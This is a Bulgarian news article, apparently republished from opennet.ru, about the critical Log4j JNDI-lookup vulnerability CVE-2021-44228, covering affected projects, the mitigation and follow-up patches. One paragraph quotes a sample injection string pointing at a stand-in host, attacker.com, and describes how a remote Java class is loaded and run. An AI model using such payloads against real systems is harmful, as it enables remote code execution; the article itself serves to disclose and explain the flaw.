Катастрофална уязвимост в Apache Log4j, засягаща много Java проекти

В Apache Log4j, популярна рамка за организиране на регистриране в Java приложения, беше идентифицирана критична уязвимост, която позволява произволен код да бъде изпълнен, когато специално форматирана стойност във формат „{jndi:URL}“ се записва в журнала. Атаката може да бъде извършена върху Java приложения, които регистрират стойности, получени от външни източници, например, когато показват проблемни стойности в съобщения за грешка.

Отбелязва се, че почти всички проекти, използващи рамки като Apache Struts, Apache Solr, Apache Druid или Apache Flink, са засегнати от проблема, включително Steam, Apple iCloud, клиенти и сървъри на Minecraft. Очаква се уязвимостта да доведе до вълна от масивни атаки срещу корпоративни приложения, повтаряйки историята на критичните уязвимости в рамката Apache Struts, която според груба оценка се използва в уеб приложения от 65% от Fortune 100 компании, включително опити за сканиране на мрежата за уязвими системи.

Проблемът се утежнява от факта, че работещ експлойт вече е публикуван, но корекциите за стабилните клонове все още не са компилирани. CVE идентификаторът все още не е зададен. Корекцията е включена само в тестовия клон log4j-2.15.0-rc1. Като заобиколно решение за блокиране на уязвимостта се препоръчва да зададете параметъра log4j2.formatMsgNoLookups на true.

Проблемът беше причинен от факта, че log4j поддържа обработка на специални маски „{}“ в редове, извеждани към дневника, в които могат да се изпълняват JNDI (Java Naming and Directory Interface) заявки. Атаката се свежда до предаване на низ със замяната „${jndi:ldap://attacker.com/a}“, при обработката на която log4j ще изпрати LDAP заявка за пътя до Java класа до сървъра на attacker.com . Пътят, върнат от сървъра на атакуващия (например http://second-stage.attacker.com/Exploit.class), ще бъде зареден и изпълнен в контекста на текущия процес, което позволява на атакуващия да изпълни произволен код на система с правата на текущото приложение.

Допълнение 1: На уязвимостта е присвоен идентификатор CVE-2021-44228.

Допълнение 2: Идентифициран е начин за заобикаляне на защитата, добавена от изданието log4j-2.15.0-rc1. Предложена е нова актуализация, log4j-2.15.0-rc2, с по-пълна защита срещу уязвимостта. Кодът подчертава промяната, свързана с липсата на необичайно прекъсване в случай на използване на неправилно форматиран JNDI URL.

Източник: opennet.ru

Добавяне на нов коментар